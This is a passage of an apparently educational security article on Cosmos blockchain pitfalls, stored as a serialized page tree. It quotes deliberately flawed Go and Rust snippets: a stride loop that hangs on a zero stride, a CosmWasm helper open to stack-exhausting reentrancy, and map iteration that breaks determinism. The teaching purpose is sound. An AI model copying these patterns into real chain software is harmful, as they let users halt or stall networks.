sum;\n",{"type":23,"tag":504,"props":74906,"children":74907},{"class":506,"line":1294},[74908],{"type":23,"tag":504,"props":74909,"children":74910},{"style":523},[74911],{"type":28,"value":884},{"type":23,"tag":494,"props":74913,"children":74917},{"code":74914,"language":74915,"meta":7,"className":74916,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[74918],{"type":23,"tag":56,"props":74919,"children":74920},{"__ignoreMap":7},[74921,74941,74954,74966,74984,74991,74998,75018,75030,75037,75044,75079,75105,75126,75155,75185,75230,75307,75343,75350,75394],{"type":23,"tag":504,"props":74922,"children":74923},{"class":506,"line":507},[74924,74928,74933,74937],{"type":23,"tag":504,"props":74925,"children":74926},{"style":511},[74927],{"type":28,"value":31734},{"type":23,"tag":504,"props":74929,"children":74930},{"style":1012},[74931],{"type":28,"value":74932}," MsgSumWithStrideParams",{"type":23,"tag":504,"props":74934,"children":74935},{"style":511},[74936],{"type":28,"value":20132},{"type":23,"tag":504,"props":74938,"children":74939},{"style":523},[74940],{"type":28,"value":552},{"type":23,"tag":504,"props":74942,"children":74943},{"class":506,"line":540},[74944,74949],{"type":23,"tag":504,"props":74945,"children":74946},{"style":529},[74947],{"type":28,"value":74948},"    Start",{"type":23,"tag":504,"props":74950,"children":74951},{"style":1012},[74952],{"type":28,"value":74953}," uint64\n",{"type":23,"tag":504,"props":74955,"children":74956},{"class":506,"line":555},[74957,74962],{"type":23,"tag":504,"props":74958,"children":74959},{"style":529},[74960],{"type":28,"value":74961},"    Stride",{"type":23,"tag":504,"props":74963,"children":74964},{"style":1012},[74965],{"type":28,"value":74953},{"type":23,"tag":504,"props":74967,"children":74968},{"class":506,"line":633},[74969,74974,74979],{"type":23,"tag":504,"props":74970,"children":74971},{"style":529},[74972],{"type":28,"value":74973},"    Arr",{"type":23,"tag":504,"props":74975,"children":74976},{"style":523},[74977],{"type":28,"value":74978}," []",{"type":23,"tag":504,"props":74980,"children":74981},{"style":1012},[74982],{"type":28,"value":74983},"uint64\n",{"type":23,"tag":504,"props":74985,"children":74986},{"class":506,"line":687},[74987],{"type":23,"tag":504,"props":74988,"children":74989},{"style":523},[74990],{"type":28,"value":884},{"type":23,"tag":504,"props":74992,"children":74993},{"class":506,"line":736},[74994],{"type":23,"tag":504,"props":74995,"children":74996},{"emptyLinePlaceholder":16},[74997],{"type":28,"value":1038},{"type":23,"tag":504,"props":74999,"children":75000},{"class":506,"line":785},[75001,75005,75010,75014],{"type":23,"tag":504,"props":75002,"children":75003},{"style":511},[75004],{"type":28,"value":31734},{"type":23,"tag":504,"props":75006,"children":75007},{"style":1012},[75008],{"type":28,"value":75009}," MsgSumWithStrideResponse",{"type":23,"tag":504,"props":75011,"children":75012},{"style":511},[75013],{"type":28,"value":20132},{"type":23,"tag":504,"props":75015,"children":75016},{"style":523},[75017],{"type":28,"value":552},{"type":23,"tag":504,"props":75019,"children":75020},{"class":506,"line":813},[75021,75026],{"type":23,"tag":504,"props":75022,"children":75023},{"style":529},[75024],{"type":28,"value":75025},"    Sum",{"type":23,"tag":504,"props":75027,"children":75028},{"style":1012},[75029],{"type":28,"value":74953},{"type":23,"tag":504,"props":75031,"children":75032},{"class":506,"line":851},[75033],{"type":23,"tag":504,"props":75034,"children":75035},{"style":523},[75036],{"type":28,"value":884},{"type":23,"tag":504,"props":75038,"children":75039},{"class":506,"line":869},[75040],{"type":23,"tag":504,"props":75041,"children":75042},{"emptyLinePlaceholder":16},[75043],{"type":28,"value":1038},{"type":23,"tag":504,"props":75045,"children":75046},{"class":506,"line":878},[75047,75052,75056,75061,75066,75070,75075],{"type":23,"tag":504,"props":75048,"children":75049},{"style":511},[75050],{"type":28,"value":75051},"func",{"type":23,"tag":504,"props":75053,"children":75054},{"style":523},[75055],{"type":28,"value":801},{"type":23,"tag":504,"props":75057,"children":75058},{"style":529},[75059],{"type":28,"value":75060},"ms ",{"type":23,"tag":504,"props":75062,"children":75063},{"style":1012},[75064],{"type":28,"value":75065},"msgServer",{"type":23,"tag":504,"props":75067,"children":75068},{"style":523},[75069],{"type":28,"value":2064},{"type":23,"tag":504,"props":75071,"children":75072},{"style":517},[75073],{"type":28,"value":75074},"SumWithStride",{"type":23,"tag":504,"props":75076,"children":75077},{"style":523},[75078],{"type":28,"value":2439},{"type":23,"tag":504,"props":75080,"children":75081},{"class":506,"line":1221},[75082,75087,75092,75096,75101],{"type":23,"tag":504,"props":75083,"children":75084},{"style":529},[75085],{"type":28,"value":75086},"    goCtx",{"type":23,"tag":504,"props":75088,"children":75089},{"style":1012},[75090],{"type":28,"value":75091}," context",{"type":23,"tag":504,"props":75093,"children":75094},{"style":523},[75095],{"type":28,"value":320},{"type":23,"tag":504,"props":75097,"children":75098},{"style":1012},[75099],{"type":28,"value":75100},"Context",{"type":23,"tag":504,"props":75102,"children":75103},{"style":523},[75104],{"type":28,"value":2484},{"type":23,"tag":504,"props":75106,"children":75107},{"class":506,"line":1276},[75108,75113,75117,75122],{"type":23,"tag":504,"props":75109,"children":75110},{"style":529},[75111],{"type":28,"value":75112},"    msg",{"type":23,"tag":504,"props":75114,"children":75115},{"style":598},[75116],{"type":28,"value":8797},{"type":23,"tag":504,"props":75118,"children":75119},{"style":1012},[75120],{"type":28,"value":75121},"MsgSumWithStrideParams",{"type":23,"tag":504,"props":75123,"children":75124},{"style":523},[75125],{"type":28,"value":2484},{"type":23,"tag":504,"props":75127,"children":75128},{"class":506,"line":1285},[75129,75134,75138,75143,75147,75151],{"type":23,"tag":504,"props":75130,"children":75131},{"style":523},[75132],{"type":28,"value":75133},") (",{"type":23,"tag":504,"props":75135,"children":75136},{"style":598},[75137],{"type":28,"value":3552},{"type":23,"tag":504,"props":75139,"children":75140},{"style":1012},[75141],{"type":28,"value":75142},"MsgSumWithStrideResponse",{"type":23,"tag":504,"props":75144,"children":75145},{"style":523},[75146],{"type":28,"value":576},{"type":23,"tag":504,"props":75148,"children":75149},{"style":1012},[75150],{"type":28,"value":806},{"type":23,"tag":504,"props":75152,"children":75153},{"style":523},[75154],{"type":28,"value":537},{"type":23,"tag":504,"props":75156,"children":75157},{"class":506,"line":1294},[75158,75163,75168,75173,75177,75181],{"type":23,"tag":504,"props":75159,"children":75160},{"style":529},[75161],{"type":28,"value":75162},"    sum",{"type":23,"tag":504,"props":75164,"children":75165},{"style":598},[75166],{"type":28,"value":75167}," :=",{"type":23,"tag":504,"props":75169,"children":75170},{"style":1012},[75171],{"type":28,"value":75172}," uint64",{"type":23,"tag":504,"props":75174,"children":75175},{"style":523},[75176],{"type":28,"value":526},{"type":23,"tag":504,"props":75178,"children":75179},{"style":1440},[75180],{"type":28,"value":3001},{"type":23,"tag":504,"props":75182,"children":75183},{"style":523},[75184],{"type":28,"value":1192},{"type":23,"tag":504,"props":75186,"children":75187},{"class":506,"line":1302},[75188,75193,75197,75201,75205,75209,75213,75217,75221,75226],{"type":23,"tag":504,"props":75189,"children":75190},{"style":529},[75191],{"type":28,"value":75192},"    end",{"type":23,"tag":504,"props":75194,"children":75195},{"style":598},[75196],{"type":28,"value":75167},{"type":23,"tag":504,"props":75198,"children":75199},{"style":1012},[75200],{"type":28,"value":75172},{"type":23,"tag":504,"props":75202,"children":75203},{"style":523},[75204],{"type":28,"value":526},{"type":23,"tag":504,"props":75206,"children":75207},{"style":517},[75208],{"type":28,"value":8121},{"type":23,"tag":504,"props":75210,"children":75211},{"style":523},[75212],{"type":28,"value":526},{"type":23,"tag":504,"props":75214,"children":75215},{"style":529},[75216],{"type":28,"value":56925},{"type":23,"tag":504,"props":75218,"children":75219},{"style":523},[75220],{"type":28,"value":320},{"type":23,"tag":504,"props":75222,"children":75223},{"style":529},[75224],{"type":28,"value":75225},"Arr",{"type":23,"tag":504,"props":75227,"children":75228},{"style":523},[75229],{"type":28,"value":18694},{"type":23,"tag":504,"props":75231,"children":75232},{"class":506,"line":1311},[75233,75237,75242,75246,75251,75255,75260,75264,75269,75273,75278,75282,75286,75290,75294,75298,75303],{"type":23,"tag":504,"props":75234,"children":75235},{"style":544},[75236],{"type":28,"value":2008},{"type":23,"tag":504,"props":75238,"children":75239},{"style":529},[75240],{"type":28,"value":75241}," idx",{"type":23,"tag":504,"props":75243,"children":75244},{"style":598},[75245],{"type":28,"value":75167},{"type":23,"tag":504,"props":75247,"children":75248},{"style":529},[75249],{"type":28,"value":75250}," msg",{"type":23,"tag":504,"props":75252,"children":75253},{"style":523},[75254],{"type":28,"value":320},{"type":23,"tag":504,"props":75256,"children":75257},{"style":529},[75258],{"type":28,"value":75259},"Start",{"type":23,"tag":504,"props":75261,"children":75262},{"style":523},[75263],{"type":28,"value":16206},{"type":23,"tag":504,"props":75265,"children":75266},{"style":529},[75267],{"type":28,"value":75268},"idx",{"type":23,"tag":504,"props":75270,"children":75271},{"style":598},[75272],{"type":28,"value":7702},{"type":23,"tag":504,"props":75274,"children":75275},{"style":529},[75276],{"type":28,"value":75277}," end",{"type":23,"tag":504,"props":75279,"children":75280},{"style":523},[75281],{"type":28,"value":16206},{"type":23,"tag":504,"props":75283,"children":75284},{"style":529},[75285],{"type":28,"value":75268},{"type":23,"tag":504,"props":75287,"children":75288},{"style":598},[75289],{"type":28,"value":14044},{"type":23,"tag":504,"props":75291,"children":75292},{"style":529},[75293],{"type":28,"value":75250},{"type":23,"tag":504,"props":75295,"children":75296},{"style":523},[75297],{"type":28,"value":320},{"type":23,"tag":504,"props":75299,"children":75300},{"style":529},[75301],{"type":28,"value":75302},"Stride",{"type":23,"tag":504,"props":75304,"children":75305},{"style":523},[75306],{"type":28,"value":552},{"type":23,"tag":504,"props":75308,"children":75309},{"class":506,"line":1334},[75310,75315,75319,75323,75327,75331,75335,75339],{"type":23,"tag":504,"props":75311,"children":75312},{"style":529},[75313],{"type":28,"value":75314},"        sum",{"type":23,"tag":504,"props":75316,"children":75317},{"style":598},[75318],{"type":28,"value":14044},{"type":23,"tag":504,"props":75320,"children":75321},{"style":529},[75322],{"type":28,"value":75250},{"type":23,"tag":504,"props":75324,"children":75325},{"style":523},[75326],{"type":28,"value":320},{"type":23,"tag":504,"props":75328,"children":75329},{"style":529},[75330],{"type":28,"value":75225},{"type":23,"tag":504,"props":75332,"children":75333},{"style":523},[75334],{"type":28,"value":2711},{"type":23,"tag":504,"props":75336,"children":75337},{"style":529},[75338],{"type":28,"value":75268},{"type":23,"tag":504,"props":75340,"children":75341},{"style":523},[75342],{"type":28,"value":10754},{"type":23,"tag":504,"props":75344,"children":75345},{"class":506,"line":1370},[75346],{"type":23,"tag":504,"props":75347,"children":75348},{"style":523},[75349],{"type":28,"value":875},{"type":23,"tag":504,"props":75351,"children":75352},{"class":506,"line":1384},[75353,75357,75361,75365,75370,75375,75379,75384,75389],{"type":23,"tag":504,"props":75354,"children":75355},{"style":544},[75356],{"type":28,"value":15968},{"type":23,"tag":504,"props":75358,"children":75359},{"style":598},[75360],{"type":28,"value":6125},{"type":23,"tag":504,"props":75362,"children":75363},{"style":1012},[75364],{"type":28,"value":75142},{"type":23,"tag":504,"props":75366,"children":75367},{"style":523},[75368],{"type":28,"value":75369},"{",{"type":23,"tag":504,"props":75371,"children":75372},{"style":529},[75373],{"type":28,"value":75374},"Sum",{"type":23,"tag":504,"props":75376,"children":75377},{"style":523},[75378],{"type":28,"value":14311},{"type":23,"tag":504,"props":75380,"children":75381},{"style":529},[75382],{"type":28,"value":75383},"sum",{"type":23,"tag":504,"props":75385,"children":75386},{"style":523},[75387],{"type":28,"value":75388},"}, ",{"type":23,"tag":504,"props":75390,"children":75391},{"style":511},[75392],{"type":28,"value":75393},"nil\n",{"type":23,"tag":504,"props":75395,"children":75396},{"class":506,"line":1392},[75397],{"type":23,"tag":504,"props":75398,"children":75399},{"style":523},[75400],{"type":28,"value":884},{"type":23,"tag":24,"props":75402,"children":75403},{},[75404,75406,75411,75412,75418],{"type":28,"value":75405},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":56,"props":75407,"children":75409},{"className":75408},[],[75410],{"type":28,"value":75268},{"type":28,"value":6297},{"type":23,"tag":56,"props":75413,"children":75415},{"className":75414},[],[75416],{"type":28,"value":75417},"stride",{"type":28,"value":75419},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":24,"props":75421,"children":75422},{},[75423],{"type":28,"value":75424},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":24,"props":75426,"children":75427},{},[75428],{"type":28,"value":75429},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":24,"props":75431,"children":75432},{},[75433],{"type":28,"value":75434},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":82,"props":75436,"children":75438},{"id":75437},"real-world-examples",[75439],{"type":28,"value":75440},"Real-World Examples",{"type":23,"tag":24,"props":75442,"children":75443},{},[75444],{"type":28,"value":75445},"Now, let's examine a few real-world instances.",{"type":23,"tag":24,"props":75447,"children":75448},{},[75449,75451,75457,75458,75464,75466,75472,75474,75480],{"type":28,"value":75450},"In the case of ",{"type":23,"tag":92,"props":75452,"children":75455},{"href":75453,"rel":75454},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[96],[75456],{"type":28,"value":16673},{"type":28,"value":5441},{"type":23,"tag":56,"props":75459,"children":75461},{"className":75460},[],[75462],{"type":28,"value":75463},"CosmWasm",{"type":28,"value":75465}," bug, the helper method ",{"type":23,"tag":56,"props":75467,"children":75469},{"className":75468},[],[75470],{"type":28,"value":75471},"write_to_contract",{"type":28,"value":75473}," negligently calls the untrusted Wasm function ",{"type":23,"tag":56,"props":75475,"children":75477},{"className":75476},[],[75478],{"type":28,"value":75479},"\"allocate\"",{"type":28,"value":320},{"type":23,"tag":24,"props":75482,"children":75483},{},[75484],{"type":23,"tag":92,"props":75485,"children":75488},{"href":75486,"rel":75487},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[96],[75489],{"type":28,"value":75490},"Permalink for snippet",{"type":23,"tag":494,"props":75492,"children":75494},{"code":75493,"language":1956,"meta":7,"className":1957,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[75495],{"type":23,"tag":56,"props":75496,"children":75497},{"__ignoreMap":7},[75498,75567,75615,75643,75672,75721,75795,75840,75863,75908,75915,75972,75991],{"type":23,"tag":504,"props":75499,"children":75500},{"class":506,"line":507},[75501,75505,75510,75514,75519,75523,75528,75532,75536,75540,75545,75549,75554,75558,75563],{"type":23,"tag":504,"props":75502,"children":75503},{"style":511},[75504],{"type":28,"value":19248},{"type":23,"tag":504,"props":75506,"children":75507},{"style":517},[75508],{"type":28,"value":75509}," write_to_contract",{"type":23,"tag":504,"props":75511,"children":75512},{"style":523},[75513],{"type":28,"value":4789},{"type":23,"tag":504,"props":75515,"children":75516},{"style":1012},[75517],{"type":28,"value":75518},"A",{"type":23,"tag":504,"props":75520,"children":75521},{"style":598},[75522],{"type":28,"value":3472},{"type":23,"tag":504,"props":75524,"children":75525},{"style":1012},[75526],{"type":28,"value":75527}," BackendApi",{"type":23,"tag":504,"props":75529,"children":75530},{"style":523},[75531],{"type":28,"value":576},{"type":23,"tag":504,"props":75533,"children":75534},{"style":1012},[75535],{"type":28,"value":21031},{"type":23,"tag":504,"props":75537,"children":75538},{"style":598},[75539],{"type":28,"value":3472},{"type":23,"tag":504,"props":75541,"children":75542},{"style":1012},[75543],{"type":28,"value":75544}," Storage",{"type":23,"tag":504,"props":75546,"children":75547},{"style":523},[75548],{"type":28,"value":576},{"type":23,"tag":504,"props":75550,"children":75551},{"style":1012},[75552],{"type":28,"value":75553},"Q",{"type":23,"tag":504,"props":75555,"children":75556},{"style":598},[75557],{"type":28,"value":3472},{"type":23,"tag":504,"props":75559,"children":75560},{"style":1012},[75561],{"type":28,"value":75562}," Querier",{"type":23,"tag":504,"props":75564,"children":75565},{"style":523},[75566],{"type":28,"value":5572},{"type":23,"tag":504,"props":75568,"children":75569},{"class":506,"line":540},[75570,75574,75578,75582,75587,75591,75595,75599,75603,75607,75611],{"type":23,"tag":504,"props":75571,"children":75572},{"style":529},[75573],{"type":28,"value":2818},{"type":23,"tag":504,"props":75575,"children":75576},{"style":598},[75577],{"type":28,"value":3472},{"type":23,"tag":504,"props":75579,"children":75580},{"style":598},[75581],{"type":28,"value":6125},{"type":23,"tag":504,"props":75583,"children":75584},{"style":1012},[75585],{"type":28,"value":75586},"Environment",{"type":23,"tag":504,"props":75588,"children":75589},{"style":523},[75590],{"type":28,"value":4789},{"type":23,"tag":504,"props":75592,"children":75593},{"style":1012},[75594],{"type":28,"value":75518},{"type":23,"tag":504,"props":75596,"children":75597},{"style":523},[75598],{"type":28,"value":576},{"type":23,"tag":504,"props":75600,"children":75601},{"style":1012},[75602],{"type":28,"value":21031},{"type":23,"tag":504,"props":75604,"children":75605},{"style":523},[75606],{"type":28,"value":576},{"type":23,"tag":504,"props":75608,"children":75609},{"style":1012},[75610],{"type":28,"value":75553},{"type":23,"tag":504,"props":75612,"children":75613},{"style":523},[75614],{"type":28,"value":5122},{"type":23,"tag":504,"props":75616,"children":75617},{"class":506,"line":555},[75618,75623,75627,75631,75635,75639],{"type":23,"tag":504,"props":75619,"children":75620},{"style":529},[75621],{"type":28,"value":75622},"    input",{"type":23,"tag":504,"props":75624,"children":75625},{"style":598},[75626],{"type":28,"value":3472},{"type":23,"tag":504,"props":75628,"children":75629},{"style":598},[75630],{"type":28,"value":6125},{"type":23,"tag":504,"props":75632,"children":75633},{"style":523},[75634],{"type":28,"value":2711},{"type":23,"tag":504,"props":75636,"children":75637},{"style":1012},[75638],{"type":28,"value":2397},{"type":23,"tag":504,"props":75640,"children":75641},{"style":523},[75642],{"type":28,"value":13244},{"type":23,"tag":504,"props":75644,"children":75645},{"class":506,"line":633},[75646,75650,75654,75659,75663,75668],{"type":23,"tag":504,"props":75647,"children":75648},{"style":523},[75649],{"type":28,"value":2064},{"type":23,"tag":504,"props":75651,"children":75652},{"style":598},[75653],{"type":28,"value":12738},{"type":23,"tag":504,"props":75655,"children":75656},{"style":1012},[75657],{"type":28,"value":75658}," VmResult",{"type":23,"tag":504,"props":75660,"children":75661},{"style":523},[75662],{"type":28,"value":4789},{"type":23,"tag":504,"props":75664,"children":75665},{"style":1012},[75666],{"type":28,"value":75667},"u32",{"type":23,"tag":504,"props":75669,"children":75670},{"style":523},[75671],{"type":28,"value":6264},{"type":23,"tag":504,"props":75673,"children":75674},{"class":506,"line":687},[75675,75679,75684,75688,75693,75697,75701,75705,75709,75713,75717],{"type":23,"tag":504,"props":75676,"children":75677},{"style":511},[75678],{"type":28,"value":1977},{"type":23,"tag":504,"props":75680,"children":75681},{"style":529},[75682],{"type":28,"value":75683}," out_size",{"type":23,"tag":504,"props":75685,"children":75686},{"style":598},[75687],{"type":28,"value":648},{"type":23,"tag":504,"props":75689,"children":75690},{"style":517},[75691],{"type":28,"value":75692}," to_u32",{"type":23,"tag":504,"props":75694,"children":75695},{"style":523},[75696],{"type":28,"value":526},{"type":23,"tag":504,"props":75698,"children":75699},{"style":529},[75700],{"type":28,"value":7350},{"type":23,"tag":504,"props":75702,"children":75703},{"style":598},[75704],{"type":28,"value":320},{"type":23,"tag":504,"props":75706,"children":75707},{"style":517},[75708],{"type":28,"value":8121},{"type":23,"tag":504,"props":75710,"children":75711},{"style":523},[75712],{"type":28,"value":40939},{"type":23,"tag":504,"props":75714,"children":75715},{"style":598},[75716],{"type":28,"value":2133},{"type":23,"tag":504,"props":75718,"children":75719},{"style":523},[75720],{"type":28,"value":866},{"type":23,"tag":504,"props":75722,"children":75723},{"class":506,"line":736},[75724,75728,75732,75736,75740,75744,75749,75753,75757,75761,75765,75769,75774,75778,75782,75787,75791],{"type":23,"tag":504,"props":75725,"children":75726},{"style":511},[75727],{"type":28,"value":1977},{"type":23,"tag":504,"props":75729,"children":75730},{"style":529},[75731],{"type":28,"value":8142},{"type":23,"tag":504,"props":75733,"children":75734},{"style":598},[75735],{"type":28,"value":648},{"type":23,"tag":504,"props":75737,"children":75738},{"style":529},[75739],{"type":28,"value":41933},{"type":23,"tag":504,"props":75741,"children":75742},{"style":598},[75743],{"type":28,"value":320},{"type":23,"tag":504,"props":75745,"children":75746},{"style":517},[75747],{"type":28,"value":75748},"call_function1",{"type":23,"tag":504,"props":75750,"children":75751},{"style":523},[75752],{"type":28,"value":526},{"type":23,"tag":504,"props":75754,"children":75755},{"style":622},[75756],{"type":28,"value":75479},{"type":23,"tag":504,"props":75758,"children":75759},{"style":523},[75760],{"type":28,"value":576},{"type":23,"tag":504,"props":75762,"children":75763},{"style":598},[75764],{"type":28,"value":2086},{"type":23,"tag":504,"props":75766,"children":75767},{"style":523},[75768],{"type":28,"value":2711},{"type":23,"tag":504,"props":75770,"children":75771},{"style":529},[75772],{"type":28,"value":75773},"out_size",{"type":23,"tag":504,"props":75775,"children":75776},{"style":598},[75777],{"type":28,"value":320},{"type":23,"tag":504,"props":75779,"children":75780},{"style":517},[75781],{"type":28,"value":13865},{"type":23,"tag":504,"props":75783,"children":75784},{"style":523},[75785],{"type":28,"value":75786},"()])",{"type":23,"tag":504,"props":75788,"children":75789},{"style":598},[75790],{"type":28,"value":2133},{"type":23,"tag":504,"props":75792,"children":75793},{"style":523},[75794],{"type":28,"value":866},{"type":23,"tag":504,"props":75796,"children":75797},{"class":506,"line":785},[75798,75802,75807,75811,75816,75820,75824,75828,75832,75836],{"type":23,"tag":504,"props":75799,"children":75800},{"style":511},[75801],{"type":28,"value":1977},{"type":23,"tag":504,"props":75803,"children":75804},{"style":529},[75805],{"type":28,"value":75806}," target_ptr",{"type":23,"tag":504,"props":75808,"children":75809},{"style":598},[75810],{"type":28,"value":648},{"type":23,"tag":504,"props":75812,"children":75813},{"style":517},[75814],{"type":28,"value":75815}," ref_to_u32",{"type":23,"tag":504,"props":75817,"children":75818},{"style":523},[75819],{"type":28,"value":526},{"type":23,"tag":504,"props":75821,"children":75822},{"style":598},[75823],{"type":28,"value":2086},{"type":23,"tag":504,"props":75825,"children":75826},{"style":529},[75827],{"type":28,"value":8065},{"type":23,"tag":504,"props":75829,"children":75830},{"style":523},[75831],{"type":28,"value":2105},{"type":23,"tag":504,"props":75833,"children":75834},{"style":598},[75835],{"type":28,"value":2133},{"type":23,"tag":504,"props":75837,"children":75838},{"style":523},[75839],{"type":28,"value":866},{"type":23,"tag":504,"props":75841,"children":75842},{"class":506,"line":813},[75843,75847,75851,75855,75859],{"type":23,"tag":504,"props":75844,"children":75845},{"style":544},[75846],{"type":28,"value":11261},{"type":23,"tag":504,"props":75848,"children":75849},{"style":529},[75850],{"type":28,"value":75806},{"type":23,"tag":504,"props":75852,"children":75853},{"style":598},[75854],{"type":28,"value":2260},{"type":23,"tag":504,"props":75856,"children":75857},{"style":1440},[75858],{"type":28,"value":2023},{"type":23,"tag":504,"props":75860,"children":75861},{"style":523},[75862],{"type":28,"value":552},{"type":23,"tag":504,"props":75864,"children":75865},{"class":506,"line":851},[75866,75870,75874,75878,75883,75887,75892,75896,75900,75904],{"type":23,"tag":504,"props":75867,"children":75868},{"style":544},[75869],{"type":28,"value":742},{"type":23,"tag":504,"props":75871,"children":75872},{"style":1012},[75873],{"type":28,"value":14728},{"type":23,"tag":504,"props":75875,"children":75876},{"style":523},[75877],{"type":28,"value":526},{"type":23,"tag":504,"props":75879,"children":75880},{"style":1012},[75881],{"type":28,"value":75882},"CommunicationError",{"type":23,"tag":504,"props":75884,"children":75885},{"style":598},[75886],{"type":28,"value":2457},{"type":23,"tag":504,"props":75888,"children":75889},{"style":517},[75890],{"type":28,"value":75891},"zero_address",{"type":23,"tag":504,"props":75893,"children":75894},{"style":523},[75895],{"type":28,"value":12860},{"type":23,"tag":504,"props":75897,"children":75898},{"style":598},[75899],{"type":28,"value":320},{"type":23,"tag":504,"props":75901,"children":75902},{"style":517},[75903],{"type":28,"value":13865},{"type":23,"tag":504,"props":75905,"children":75906},{"style":523},[75907],{"type":28,"value":14405},{"type":23,"tag":504,"props":75909,"children":75910},{"class":506,"line":869},[75911],{"type":23,"tag":504,"props":75912,"children":75913},{"style":523},[75914],{"type":28,"value":875},{"type":23,"tag":504,"props":75916,"children":75917},{"class":506,"line":878},[75918,75923,75927,75931,75935,75939,75943,75947,75952,75956,75960,75964,75968],{"type":23,"tag":504,"props":75919,"children":75920},{"style":517},[75921],{"type":28,"value":75922},"    write_region",{"type":23,"tag":504,"props":75924,"children":75925},{"style":523},[75926],{"type":28,"value":526},{"type":23,"tag":504,"props":75928,"children":75929},{"style":598},[75930],{"type":28,"value":2086},{"type":23,"tag":504,"props":75932,"children":75933},{"style":529},[75934],{"type":28,"value":34667},{"type":23,"tag":504,"props":75936,"children":75937},{"style":598},[75938],{"type":28,"value":320},{"type":23,"tag":504,"props":75940,"children":75941},{"style":517},[75942],{"type":28,"value":74723},{"type":23,"tag":504,"props":75944,"children":75945},{"style":523},[75946],{"type":28,"value":17355},{"type":23,"tag":504,"props":75948,"children":75949},{"style":529},[75950],{"type":28,"value":75951},"target_ptr",{"type":23,"tag":504,"props":75953,"children":75954},{"style":523},[75955],{"type":28,"value":576},{"type":23,"tag":504,"props":75957,"children":75958},{"style":529},[75959],{"type":28,"value":7350},{"type":23,"tag":504,"props":75961,"children":75962},{"style":523},[75963],{"type":28,"value":2105},{"type":23,"tag":504,"props":75965,"children":75966},{"style":598},[75967],{"type":28,"value":2133},{"type":23,"tag":504,"props":75969,"children":75970},{"style":523},[75971],{"type":28,"value":866},{"type":23,"tag":504,"props":75973,"children":75974},{"class":506,"line":1221},[75975,75979,75983,75987],{"type":23,"tag":504,"props":75976,"children":75977},{"style":1012},[75978],{"type":28,"value":13314},{"type":23,"tag":504,"props":75980,"children":75981},{"style":523},[75982],{"type":28,"value":526},{"type":23,"tag":504,"props":75984,"children":75985},{"style":529},[75986],{"type":28,"value":75951},{"type":23,"tag":504,"props":75988,"children":75989},{"style":523},[75990],{"type":28,"value":1192},{"type":23,"tag":504,"props":75992,"children":75993},{"class":506,"line":1276},[75994],{"type":23,"tag":504,"props":75995,"children":75996},{"style":523},[75997],{"type":28,"value":884},{"type":23,"tag":24,"props":75999,"children":76000},{},[76001,76003,76009,76011,76016],{"type":28,"value":76002},"As users have complete control over ",{"type":23,"tag":56,"props":76004,"children":76006},{"className":76005},[],[76007],{"type":28,"value":76008},"allocate",{"type":28,"value":76010},", there is a possibility to call back ",{"type":23,"tag":56,"props":76012,"children":76014},{"className":76013},[],[76015],{"type":28,"value":75471},{"type":28,"value":76017}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":24,"props":76019,"children":76020},{},[76021,76023,76030],{"type":28,"value":76022},"Additional real-world examples include ",{"type":23,"tag":92,"props":76024,"children":76027},{"href":76025,"rel":76026},"https://github.com/cosmos/cosmos-sdk/issues/16676",[96],[76028],{"type":28,"value":76029},"not returning proper values for malformed txs",{"type":28,"value":320},{"type":23,"tag":70,"props":76032,"children":76034},{"id":76033},"order-was-the-dream-of-man",[76035],{"type":28,"value":76036},"Order Was the Dream of Man",{"type":23,"tag":24,"props":76038,"children":76039},{},[76040],{"type":28,"value":76041},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":24,"props":76043,"children":76044},{},[76045],{"type":28,"value":76046},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":494,"props":76048,"children":76050},{"code":76049,"language":74915,"meta":7,"className":74916,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    